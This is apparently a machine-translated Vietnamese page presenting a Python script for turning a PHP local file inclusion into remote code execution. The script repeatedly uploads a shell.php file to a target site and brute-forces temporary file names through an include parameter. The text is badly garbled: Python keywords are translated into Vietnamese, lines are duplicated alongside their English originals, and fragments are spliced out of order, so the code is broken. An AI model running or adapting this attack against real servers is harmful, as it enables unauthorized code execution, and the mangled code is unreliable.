Hướng dẫn lfi to rce phpinfo - lfi đến rce phpinfo

Nhập itertools itertools

Nhập yêu cầu requests

nhập khẩu sys sys

in ('[+] cố gắng giành chiến thắng trong cuộc đua')('[+] Trying to win the race')

f = {'file': open ('shell.php', 'rb')}={'file': open('shell.php', 'rb')}

cho _ Inrange (4096*4096): _ in range(4096 *4096):

Yêu cầu.post ('//target.com/index.php?c=index.php', f).post('//target.com/index.php?c=index.php', f)

in ('[+] cố gắng giành chiến thắng trong cuộc đua')('[+] Bruteforcing the inclusion')

f = {'file': open ('shell.php', 'rb')} fname in itertools.combinations(string.ascii_letters + string.digits, 6):

cho _ Inrange (4096*4096):='//target.com/index.php?c=/tmp/php' + fname

Yêu cầu.post ('//target.com/index.php?c=index.php', f)= requests.get(url)

in ('[+] vũ phu bao gồm')'load average' in r.text: #

Chủ đề